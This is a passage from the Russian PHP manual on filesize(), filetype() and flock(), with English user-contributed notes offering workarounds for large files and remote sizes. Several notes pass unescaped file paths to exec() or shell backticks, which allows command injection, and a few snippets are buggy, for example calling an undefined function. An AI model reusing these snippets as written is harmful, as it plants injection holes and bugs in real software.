  • filetype »
  • PHP Manual
  • Функции файловой системы
  • Возвращает размер файла

filesize

(PHP 4, PHP 5, PHP 7, PHP 8)

filesize — Возвращает размер файла

Описание

filesize(string $filename): int|false

Возвращает размер указанного файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает размер указанного файла в байтах или false (и генерирует ошибку уровня E_WARNING) в случае возникновения ошибки.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции filesize()

<?php

// Пример вывода: Размер файла somefile.txt: 1024 байтов

$filename = 'somefile.txt';
echo 'Размер файла ' . $filename . ': ' . filesize($filename) . ' байтов';

?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • file_exists() - Проверяет существование указанного файла или каталога

User Contributed Notes

php at yurgon dot de 24-Jul-2020 12:27
<?php
// Quick example to test the return value in order to tell a 0 byte file from a failed call to filesize()

$size = filesize("some.file");

if ($size === FALSE) {
  echo "filesize not available";
} else {
  echo "some.file is $size bytes long";
}

// A shorter version, slightly different
if ( ($size = filesize("some.file")) !== FALSE)
  echo "some.file is $size bytes long";
?>
John Crocker 30-Sep-2019 12:46
The first example given may lead one to assume that this function works with a local filename e.g. $fs = filesize("error_log") but if you manually delete some text, then save and close the file, the next time you check filesize("error_log") it will return the original value, because the value is cached for performance reasons. If you didn't know this, it would look like a nasty bug.

So, everyone tells you to insert clearstatcache() which is supposed to clear the cached value and allow you to retrieve the current file size but it still does nothing and looks like another bug!

However, I found that if you always specify the FULL PATH
e.g. $fs = filesize("/user/some/path/error_log");
then clearstatcache() is not even needed.
PHP-Hasan 12-Jan-2019 05:05
Under Windows 10 filesize obviously cannot work with relative path names. Use absolute path instead. $size = filesize(".\\myfile.txt"); does not work for me while "d:\\MyFiles\\Myfile.txt" will do. The same applys to similar functions like is_file() or stat(). They won't work correctly unless given an absolute path.
Lingasamy Sakthivel 17-Aug-2017 11:27
Using fseek is really slow. This one really better and faster.

    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $size = trim(exec("for %F in (\"" . $file . "\") do @echo %~zF"));
    }
    elseif ((PHP_OS == 'Linux') || (PHP_OS == 'FreeBSD') || (PHP_OS == 'Unix') || (PHP_OS == 'SunOS')) {
        $size = trim(shell_exec("stat -c%s " . escapeshellarg($file)));
    } else {
        $size = filesize($file);
    }
synnus at gmail dot com 26-Jul-2017 02:13
<?php

      // Recover all file sizes larger than > 4GB.
      // Works on php 32bits and 64bits and supports linux
      // Used the com_dotnet extension

     function getSize($file) {
        $size = filesize($file);
        if ($size <= 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')) {
                $size = trim(`stat -c%s $file`);
            }
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $f->Size;
            }
        return $size;
    }
?>
Damien Dussouillez 20-Jul-2017 06:25
<?php
/**
 * Return file size (even for file > 2 Gb)
 * For file size over PHP_INT_MAX (2 147 483 647), PHP filesize function loops from -PHP_INT_MAX to PHP_INT_MAX.
 *
 * @param string $path Path of the file
 * @return mixed File size or false if error
 */
function realFileSize($path)
{
    if (!file_exists($path))
        return false;

    $size = filesize($path);

    if (!($file = fopen($path, 'rb')))
        return false;

    if ($size >= 0)
    {//Check if it really is a small file (< 2 GB)
        if (fseek($file, 0, SEEK_END) === 0)
        {//It really is a small file
            fclose($file);
            return $size;
        }
    }

    //Quickly jump the first 2 GB with fseek. After that fseek is not working on 32 bit php (it uses int internally)
    $size = PHP_INT_MAX - 1;
    if (fseek($file, PHP_INT_MAX - 1) !== 0)
    {
        fclose($file);
        return false;
    }

    $length = 1024 * 1024;
    while (!feof($file))
    {//Read the file until end
        $read = fread($file, $length);
        $size = bcadd($size, $length);
    }
    $size = bcsub($size, $length);
    $size = bcadd($size, strlen($read));

    fclose($file);
    return $size;
}
ivijan dot stefan at gmail dot com 12-Jul-2017 03:02
This function also can be great for browser caching controll. For example, you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a waste of time. Instead, you can do like:

<?php

echo '<link rel="stylesheet" href="style.css?ver=1.'.filesize(dirname(__FILE__).'/style.css').'.'.filemtime(dirname(__FILE__).'/style.css').'.0">';

?>

Sample output:

<link rel="stylesheet" href="style.css?ver=1.8824.1499869132.0">

This also can be apply for JS and also images with same name.
mbh789 at gmail dot com 06-Jul-2017 09:27
function dir_size($file) {
   //tested on win 7x64 php 5.4
    exec('dir /s /a "' . $file.'"', $inf);
    $r=explode(' ',$inf[count($inf)-2]);
    $rr = preg_replace('~[^\d]+~','',$r[count($r)-2]);
    return $rr;
}
contact at evoweb dot fr 31-Jan-2017 10:35
This is an improvement of the function made by Rommel (rommel at rommelsantor dot com).  PHP 5.4+ compatibility and minor calculation of the word to write after the number.
<?php
function human_filesize($bytes, $decimals = 2) {
    $sz = 'BKMGTP';
    $factor = floor((strlen($bytes) - 1) / 3);
    $d = (empty($factor))?0:$decimals;
    return sprintf("%.{$d}f", $bytes / pow(1024, $factor)) . " ". ((!empty($factor))?@$sz[(int)$factor]:"")."o";
}
?>
evgenij at kostanay dot kz 01-Dec-2016 09:05
Slightly edited version of the function from rommel at rommelsantor dot com. Now it returns a two characters file size which is a bit more convenient to read.

<?php
function human_filesize($bytes, $decimals = 2) {
    $factor = floor((strlen($bytes) - 1) / 3);
    if ($factor > 0) $sz = 'KMGT';
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . 'B';
}

print human_filesize(12, 0);                // 12B
print human_filesize(1234567890, 4);        // 1.1498GB
print human_filesize(123456789, 1);            // 117.7MB
print human_filesize(12345678901234, 5);    // 11.22833TB
print human_filesize(1234567, 3);            // 1.177MB
print human_filesize(123456);                // 120.56KB
?>

I removed the P units because strlen doesn't seem to work as expected with integers longer than 14 digits. Though it might be only my system's limitation.
synnus at gmail dot com 03-Nov-2016 12:52
<?php
 // File size for windows
 // if filesize() php > PHP_INT_MAX (4 294 967 296) :: failled
 // filesize_cmd returns the value measured by windows

function filesize_cmd($file) {
    $pth = pathinfo($file);
    $fz = filesize($file);
    $fx = exec('forfiles /p ' . $pth['dirname'] . ' /m "' . $pth['basename'] . '" /c "cmd /c echo @fsize"');
    if($fz != $fx) { return $fx; }
    return $fz;
}

?>
jakob dot riishede dot moller at gmail dot com 09-Oct-2016 04:40
"Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB."

This ought to be a warning and not a note: filesize - as some of the other comments suggest - is useless for applications where custom action must be taken for large files.
C0nw0nk 04-Jun-2016 06:14
Here is my super fast method of getting >2GB files to output the correct byte size on any version of windows works with both 32Bit and 64Bit.

<?php
function find_filesize($file)
{
    if(substr(PHP_OS, 0, 3) == "WIN")
    {
        exec('for %I in ("'.$file.'") do @echo %~zI', $output);
        $return = $output[0];
    }
    else
    {
        $return = filesize($file);
    }
    return $return;
}

//Usage : find_filesize("path");
//Example :
echo "File size is : ".find_filesize("D:\Server\movie.mp4")."";
?>
synnus at gmail dot com 02-Apr-2016 02:32
// extract filesize with command dir windows 10
// is ok for all system 32/64 and the best compatibility  for Dummy file
// but cant return value in (int) for best return use Float

<?php

filesize_dir("d:\\test.mkv"); //11.5GB => return (float) 12401880207

function filesize_dir($file) {
    exec('dir ' . $file, $inf);
    $size_raw = $inf[6];
    $size_exp = explode(" ",$size_raw);
    $size_ext = $size_exp[19];
    $size_int = (float) str_replace(chr(255), '', $size_ext);
    return $size_int;
}

?>
synnus at gmail dot com 02-Apr-2016 01:09
// use system windows for give filesize
// best for php 32bit or php 64bit
// I do not know if it works on other windows, but on Windows 10 works well here

<?php

echo filesize_cmd('c:\\', 'log.txt'); //return  1135

function filesize_cmd($folder, $file) {
return exec('forfiles /p '.$folder.' /m "'.$file.'" /c "cmd /c echo @fsize"');
}

?>
synnus at gmail dot com 01-Apr-2016 05:54
// best converting the negative number with File Size .
// does not work with files greater than 4GB
//
// specifically for 32 bit systems. limit conversions filsize is 4GB or
// 4294967296. why we get negative numbers? by what the file
// pointer of the meter must work with the PHP MAX value is 2147483647.
// Offset file : 0 , 1 , 2 , 3 , ... 2147483647 = 2GB
// to go higher up the 4GB negative numbers are used
// and therefore after 2147483647, we will -2147483647
// -2147483647,  -2147483646, -2147483645, -2147483644 ... 0 = 4GB
// therefore 0, 2147483647 and -2147483647 to 0. all done 4GB = 4294967296
// the first offset to 0 and the last offset to 0 of 4GB should be added in
// your compute, so "+ 2" for the number of bytes exate .

<?php
function filsize_32b($file) {
    $filez = filesize($file);
    if($filez < 0) {  return (($filez + PHP_INT_MAX) + PHP_INT_MAX + 2); }
    else { return $filez; }
}
?>
honza dot kuchar at grifart dot cz 05-Feb-2016 09:43
For files bigger then 2 GB use my library called Big File Tools. https://github.com/jkuchar/BigFileTools. More details on stackoverflow: http://stackoverflow.com/a/35233556/631369
Anonymous 21-Nov-2014 04:01
Here a function to get the size of a file in a human understanding way with decimal separator, thousand separator, decimals...

function convertFileSize($file, $size=null, $decimals=2, $dec_sep='.', $thousands_sep=','){
 if (!is_file($file)){
  return "El fichero no existe";
 }
 $bytes = filesize($file);
 $sizes = 'BKMGTP';
 if (isset($size)){
  $factor = strpos($sizes, $size[0]);
  if ($factor===false){
   return "El tamano debe ser B, K, M, G, T o P";
  }
 } else {
  $factor = floor((strlen($bytes) - 1) / 3);
  $size = $sizes[$factor];
 }
 return number_format($bytes / pow(1024, $factor), $decimals, $dec_sep, $thousands_sep).' '.$size;
}

Source: http://softontherocks.blogspot.com/2014/11/obtener-el-tamano-de-un-fichero-y.html
k dot reznichak at pcpin dot com 24-Sep-2014 10:19
Here ist the very fast and reliable way to get size of large files > 2Gb on 32bit and 64bit platforms.

<?php
  /**
   * Get the size of file, platform- and architecture-independant.
   * This function supports 32bit and 64bit architectures and works fith large files > 2 GB
   * The return value type depends on platform/architecture: (float) when PHP_INT_SIZE < 8 or (int) otherwise
   * @param   resource $fp
   * @return  mixed (int|float) File size on success or (bool) FALSE on error
   */
  function my_filesize($fp) {
    $return = false;
    if (is_resource($fp)) {
      if (PHP_INT_SIZE < 8) {
        // 32bit
        if (0 === fseek($fp, 0, SEEK_END)) {
          $return = 0.0;
          $step = 0x7FFFFFFF;
          while ($step > 0) {
            if (0 === fseek($fp, - $step, SEEK_CUR)) {
              $return += floatval($step);
            } else {
              $step >>= 1;
            }
          }
        }
      } elseif (0 === fseek($fp, 0, SEEK_END)) {
        // 64bit
        $return = ftell($fp);
      }
    }
    return $return;
  }
?>
CertaiN 05-May-2014 07:52
The simplest and most efficient implemention for getting remote filesize:

<?php
function remote_filesize($url) {
    static $regex = '/^Content-Length: *+\K\d++$/im';
    if (!$fp = @fopen($url, 'rb')) {
        return false;
    }
    if (
        isset($http_response_header) &&
        preg_match($regex, implode("\n", $http_response_header), $matches)
    ) {
        return (int)$matches[0];
    }
    return strlen(stream_get_contents($fp));
}
?>
linda dot collins at mailinator dot com 13-Oct-2013 02:08
A fast implementation that determines actual file size of large files (>2GB) on 32-bit PHP:

function RealFileSize($fp)
{
    $pos = 0;
    $size = 1073741824;
    fseek($fp, 0, SEEK_SET);
    while ($size > 1)
    {
        fseek($fp, $size, SEEK_CUR);

        if (fgetc($fp) === false)
        {
            fseek($fp, -$size, SEEK_CUR);
            $size = (int)($size / 2);
        }
        else
        {
            fseek($fp, -1, SEEK_CUR);
            $pos += $size;
        }
    }

    while (fgetc($fp) !== false)  $pos++;

    return $pos;
}

Input is an open file handle.  Return value is an integer for file sizes < 4GB, floating-point otherwise.

This starts out by skipping ~1GB at a time, reads a character in, repeats.  When it gets into the last GB, it halves the size whenever the read fails.  The last couple of bytes are just read in.

Some people might have concerns over this function because $pos will become a floating point number after exceeding integer limits and they know of floating point's tendencies to be inaccurate.  On most computers that correctly implement the IEEE floating point spec, $pos will be accurate out to around 9 *petabytes*.  Unless you are working with multi-petabyte files in PHP or the code is executing on strange hardware, this function is going to be more than sufficient.  Every part of this function has been carefully crafted to deal with 32-bit deficiencies.
cfv1000 at gmail dot com 05-Sep-2013 12:20
To get the filesize of a directory use the built-in function disk_total_space
Arseny Mogilev 16-Aug-2013 10:51
<?php
/**
* Converts bytes into human readable file size.
*
* @param string $bytes
* @return string human readable file size (2,87 Мб)
* @author Mogilev Arseny
*/
function FileSizeConvert($bytes)
{
    $bytes = floatval($bytes);
        $arBytes = array(
            0 => array(
                "UNIT" => "TB",
                "VALUE" => pow(1024, 4)
            ),
            1 => array(
                "UNIT" => "GB",
                "VALUE" => pow(1024, 3)
            ),
            2 => array(
                "UNIT" => "MB",
                "VALUE" => pow(1024, 2)
            ),
            3 => array(
                "UNIT" => "KB",
                "VALUE" => 1024
            ),
            4 => array(
                "UNIT" => "B",
                "VALUE" => 1
            ),
        );

    foreach($arBytes as $arItem)
    {
        if($bytes >= $arItem["VALUE"])
        {
            $result = $bytes / $arItem["VALUE"];
            $result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"];
            break;
        }
    }
    return $result;
}

?>
Anonymous 24-Jul-2013 10:57
This functions returns the exact file size for file larger than 2 GB on 32 bit OS:

<?php
function file_get_size($file) {
    //open file
    $fh = fopen($file, "r");
    //declare some variables
    $size = "0";
    $char = "";
    //set file pointer to 0; I'm a little bit paranoid, you can remove this
    fseek($fh, 0, SEEK_SET);
    //set multiplicator to zero
    $count = 0;
    while (true) {
        //jump 1 MB forward in file
        fseek($fh, 1048576, SEEK_CUR);
        //check if we actually left the file
        if (($char = fgetc($fh)) !== false) {
            //if not, go on
            $count ++;
        } else {
            //else jump back where we were before leaving and exit loop
            fseek($fh, -1048576, SEEK_CUR);
            break;
        }
    }
    //we could make $count jumps, so the file is at least $count * 1.000001 MB large
    //1048577 because we jump 1 MB and fgetc goes 1 B forward too
    $size = bcmul("1048577", $count);
    //now count the last few bytes; they're always less than 1048576 so it's quite fast
    $fine = 0;
    while(false !== ($char = fgetc($fh))) {
        $fine ++;
    }
    //and add them
    $size = bcadd($size, $fine);
    fclose($fh);
    return $size;
}
?>
lito at eordes dot com 06-Mar-2013 03:10
A simple and improved function to get the folder size including subfolders:

<?php
function folderSize ($dir)
{
    $size = 0;
    $contents = glob(rtrim($dir, '/').'/*', GLOB_NOSORT);

    foreach ($contents as $contents_value) {
        if (is_file($contents_value)) {
            $size += filesize($contents_value);
        } else {
            $size += realFolderSize($contents_value);
        }
    }

    return $size;
}

echo folderSize('/var/www/html/').' bytes';
?>
rommel at rommelsantor dot com 19-Nov-2011 12:11
Extremely simple function to get human filesize.
<?php
function human_filesize($bytes, $decimals = 2) {
  $sz = 'BKMGTP';
  $factor = floor((strlen($bytes) - 1) / 3);
  return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
?>
Anonymous 21-Jan-2011 06:58
if you recently appended something to file, and closed it then this method will not show appended data:
<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
frank (at) haua dot net 15-Jan-2011 06:19
I have a cli script running that use the filesize function on a ssh2_sftp connection. It has the >2Gb limit issue, while it does not have that issue locally. I have managed to get around this by doing a "du -sb" command through ssh2_shell.

The following function takes the ssh2_connect resource and the path as input. It may not be neat, but it solves the problem for the moment.

<?php
function fSSHFileSize($oConn, $sPath) {
    if(false !== ($oShell = @ssh2_shell($oConn, 'xterm', null, 500, 24, SSH2_TERM_UNIT_CHARS))) {
        fwrite($oShell, "du -sb '".$sPath."'".PHP_EOL);
        sleep(1);
        while($sLine = fgets($oShell)) {
            flush();
            $aResult[] = $sLine;
        }
        fclose($oShell);
        $iSize = 0;
        if(count($aResult) > 1) {
            $sTemp = $aResult[count($aResult)-2];
            $sSize = substr($sTemp, 0, strpos($sTemp, chr(9)));
            if(is_numeric(trim($sSize))) {
                $iTemp = (int)$sSize;
                if($iTemp > "2000000000") $iSize = $iTemp;
            }
        }
        return $iSize;
    }
    return 0;
}
?>
itsrool at gmail dot com 12-Nov-2009 12:36
My solution for calculating the directory size:

<?php
/**
 * Get the directory size
 * @param directory $directory
 * @return integer
 */
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        $size+=$file->getSize();
    }
    return $size;
}
?>
tmont 25-Jul-2009 02:05
Here's the best way (that I've found) to get the size of a remote file. Note that HEAD requests don't get the actual body of the request, they just retrieve the headers. So making a HEAD request to a resource that is 100MB will take the same amount of time as a HEAD request to a resource that is 1KB.

<?php
$remoteFile = 'http://us.php.net/get/php-5.2.10.tar.bz2/from/this/mirror';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //not necessary unless the file redirects (like the PHP example we're using here)
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
  echo 'cURL failed';
  exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
  $status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
  $contentLength = (int)$matches[1];
}

echo 'HTTP Status: ' . $status . "\n";
echo 'Content-Length: ' . $contentLength;
?>

Result:

HTTP Status: 302
Content-Length: 8808759
Svetoslav Marinov 23-Jul-2009 10:24
This is an updated version of my previous filesize2bytes.
The return type now it's really an int.

<?php
/**
 * Converts human readable file size (e.g. 10 MB, 200.20 GB) into bytes.
 *
 * @param string $str
 * @return int the result is in bytes
 * @author Svetoslav Marinov
 * @author http://slavi.biz
 */
function filesize2bytes($str) {
    $bytes = 0;

    $bytes_array = array(
        'B' => 1,
        'KB' => 1024,
        'MB' => 1024 * 1024,
        'GB' => 1024 * 1024 * 1024,
        'TB' => 1024 * 1024 * 1024 * 1024,
        'PB' => 1024 * 1024 * 1024 * 1024 * 1024,
    );

    $bytes = floatval($str);

    if (preg_match('#([KMGTP]?B)$#si', $str, $matches) && !empty($bytes_array[$matches[1]])) {
        $bytes *= $bytes_array[$matches[1]];
    }

    $bytes = intval(round($bytes, 2));

    return $bytes;
}
?>
Supermagnus 30-Jun-2008 03:38
<?php
function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}
?>

In case of you have a redirection in the server (like Redirect Permanent in the .htaccess)

In this case we have for exemple:
    [content-length] => Array

        (

            [0] => 294          // Size requested file

            [1] => 357556     // Real Size redirected file

        )
jason dot whitehead dot tas at gmail dot com 08-Feb-2008 03:14
I have created a handy function, using parts of code from kaspernj at gmail dot com and md2perpe at gmail dot com, which should get file sizes > 4GB on Windows, Linux and Mac  (at least).

<?php
    function getSize($file) {
        $size = filesize($file);
        if ($size < 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'))
                $size = trim(`stat -c%s $file`);
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $file->Size;
            }
        return $size;
    }
?>
webmaster at eclipse org 07-Nov-2007 07:30
On 64-bit platforms, this seems quite reliable for getting the filesize of files > 4GB

<?php
$a = fopen($filename, 'r');
fseek($a, 0, SEEK_END);
$filesize = ftell($a);
fclose($a);
?>
core58 at mail dot ru 14-Apr-2006 08:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
    $socket = fsockopen( "10.233.225.2", 8080 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        echo "<br>failed to open socket for [$ipAddress]";
        exit();
    }

    // just send HEAD request to server
    $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
    // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
    fwrite( $socket, $head );

    // read the response header
    $header = ReadHeader( $socket );
    if( !$header )
    {
        // handle empty response here the way you need...
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    fclose( $socket );

    // check for "Location" header
    $locationMarker = "Location: ";
    $pos = strpos( $header, $locationMarker );
    if( $pos > 0 )
    {
            $counter302--;
            if( $counter302 < 0 )
            {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                    echo "warning: too long redirection sequence";
                    return 0;
            }

            // Location is present -- we should determine target host and move there, like any downloading masters do...
            // no need to use regex here
            $end = strpos( $header, "\n", $pos );
            $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
    }

    // try to acquire Content-Length within the response
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
          $size = $matches[1];
    else
          $size = 0;

    return $size;
}
?>
aidan at php dot net 12-Jul-2005 09:01
This function quickly calculates the size of a directory:
http://aidanlister.com/repos/v/function.dirsize.php

You can convert filesizes to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes


Возвращает тип файла

  • « filesize
  • flock »
  • PHP Manual
  • Функции файловой системы
  • Возвращает тип файла

filetype

(PHP 4, PHP 5, PHP 7, PHP 8)

filetype — Возвращает тип файла

Описание

filetype(string $filename): string|false

Возвращает тип указанного файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает тип файла. Возможными значениями являются fifo, char, dir, block, link, file, socket и unknown.

Возвращает false в случае возникновения ошибки. filetype() также вызовет ошибку уровня E_NOTICE, если системный вызов stat завершится ошибкой или тип файла неизвестен.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции filetype()

<?php

echo filetype('/etc/passwd');
echo "\n";
echo filetype('/etc/');
?>

Результат выполнения данного примера:

file
dir

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • is_file() - Определяет, является ли файл обычным файлом
  • is_link() - Определяет, является ли файл символической ссылкой
  • file_exists() - Проверяет существование указанного файла или каталога
  • mime_content_type() - Определяет MIME-тип содержимого файла
  • pathinfo() - Возвращает информацию о пути к файлу
  • stat() - Возвращает информацию о файле

User Contributed Notes

Anonymous 03-Dec-2014 06:17
Note there is a bug when using filetype with for example Japanese filenames :
https://bugs.php.net/bug.php?id=64699

The whole PHP interpreter comes crashing down without anyway to avoid it or capture an exception.
r dot koelpin at evisionteam dot de 29-Jan-2014 06:29
/* COPY/PASTE */
<?php
//https://php.net/manual/de/function.filetype.php#104308

echo "Zum testen mussen tatsachlich existente Namen verwendet werden.<br>";
echo "Pfad und Dateiname mussen getrennt eingetragen und durch einen Punkt verbunden sein.<br>";
echo "Example: [filetype(\"../dir/u_dir/\".\"temp.jpg\")] liefert -> file<br>";
?>
Abhi Jain 08-Jun-2011 12:01
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.

The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the 'Dir or File Name' and not the complete "Absolute or Relative Path" to that 'file or Dir'. It may still read that file and return its filetype as "file" but for Dir's it shows warning and outputs NULL.
eg:
$pathToFile = '/var/www';
$file = 'test.php';
$dir = 'somedir';

Output for filetype($file) will be returned as 'file' and possibly without any warning, but for filetype($dir), it will return NULL with the warning "Lstat failed", unless you pass a complete path to that dir, i.e. filetype($pathToFile.'/'.$dir).

This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
adlerweb 07-Oct-2010 01:09
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:

$type=trim(`stat -c%F $file`);

Note that stat returns diffenerent strings ("regular file","directory",...)
7r6ivyeo at mail dot com 21-Nov-2008 05:29
I use the CLI version of PHP on Windows Vista.  Here's how to determine if a file is marked "hidden" by NTFS:

<?php
function is_hidden_file($fn) {

    $attr = trim(exec('FOR %A IN ("'.$fn.'") DO @ECHO %~aA'));

    if($attr[3] === 'h')
        return true;

    return false;
}
?>

Changing <?php if($attr[3] === 'h') ?> to <?php if($attr[4] === 's') ?> will check for system files.

This should work on any Windows OS that provides DOS shell commands.
ruach at chpc dot utah dot edu 10-Mar-2004 05:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type


Портируемая консультативная блокировка файлов

  • « filetype
  • fnmatch »
  • PHP Manual
  • Функции файловой системы
  • Портируемая консультативная блокировка файлов

flock

(PHP 4, PHP 5, PHP 7, PHP 8)

flock — Портируемая консультативная блокировка файлов

Описание

flock(resource $stream, int $operation, int &$would_block = null): bool

flock() позволяет осуществить простую модель чтения/записи, которая может быть использована практически на любой платформе (включая большинство вариантов Unix и даже Windows).

Блокировка также снимается с помощью fclose() или когда stream собирается сборщиком мусора.

PHP поддерживает портируемый способ консультативной блокировки (advisory locking) полностью всего файла (что означает, что все программы, осуществляющие доступ к файлу, должны использовать один и тот же способ блокировки, иначе блокировка не будет работать). По умолчанию данная функция будет ждать получения блокировки; это поведение можно изменить с помощью описанного ниже параметра LOCK_NB.

Список параметров

stream

Указатель (resource) на файл, обычно создаваемый с помощью функции fopen().

operation

operation может принимать следующие значения:

  • LOCK_SH для получения разделяемой блокировки (чтение).
  • LOCK_EX для получения эксклюзивной блокировки (запись).
  • LOCK_UN для снятия блокировки (разделяемой или эксклюзивной).

Также возможно добавить константу LOCK_NB в качестве битовой маски к любой из вышеуказанных операций, если flock() не должна блокироваться во время попытки блокировки.

would_block

Необязательный третий параметр будет установлен в 1, если блокировка будет блокирующей (код ошибки EWOULDBLOCK).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции flock()

<?php

$fp = fopen("/tmp/lock.txt", "r+");

if (flock($fp, LOCK_EX)) { // выполняем эксклюзивную блокировку
ftruncate($fp, 0); // очищаем файл
fwrite($fp, "Что-нибудь пишем сюда\n");
fflush($fp); // очищаем вывод перед отменой блокировки
flock($fp, LOCK_UN); // снимаем блокировку
} else {
echo "Не удалось получить блокировку!";
}

fclose($fp);

?>

Пример #2 Использование flock() с параметром LOCK_NB

<?php
$fp = fopen('/tmp/lock.txt', 'r+');

/* Включаем параметр LOCK_NB в операции LOCK_EX */
if(!flock($fp, LOCK_EX | LOCK_NB)) {
echo 'Не удалось получить блокировку';
exit(-1);
}

/* ... */

fclose($fp);
?>

Примечания

Замечание:

В Windows flock() использует обязательную (mandatory) блокировку вместо консультативной. Обязательная блокировка также поддерживается на Linux и операционных системах, основанных на System V с помощью стандартного механизма, который предоставляет системный вызов fcntl(): то есть искомый файл должен иметь установленный бит доступа setgid и неустановленный бит группового выполнения. Для корректной работы этой схемы в Linux, файловая система также должна быть смонтирована с опцией mand.

Замечание:

Из-за того, что функции flock() необходим указатель на файл, вам может понадобиться воспользоваться специальным запирающим файлом для того, чтобы ограничить доступ к файлу, который вы намерены очищать, путём его открытия в режиме записи (используя "w" или "w+" в качестве аргумента функции fopen()).

Замечание:

Может быть использована только на дескрипторах локальных файлов, возвращённых функцией fopen(), или файловых дескрипторах пользовательских потоков, реализующих метод streamWrapper::stream_lock().

Внимание

Присвоение другого значения аргументу stream в последующем коде отменит существующую блокировку.

Внимание

В некоторых операционных системах flock() реализован на уровне процессов. При использовании многопоточных серверных API, таких как ISAPI, вы не можете полагаться на flock() для защиты ваших файлов от других PHP-скриптов, которые работают в параллельном потоке на том же сервере!

flock() не поддерживается на старых файловых системах вроде FAT и её производных, так что всегда будет возвращать false в этих окружениях.

Замечание:

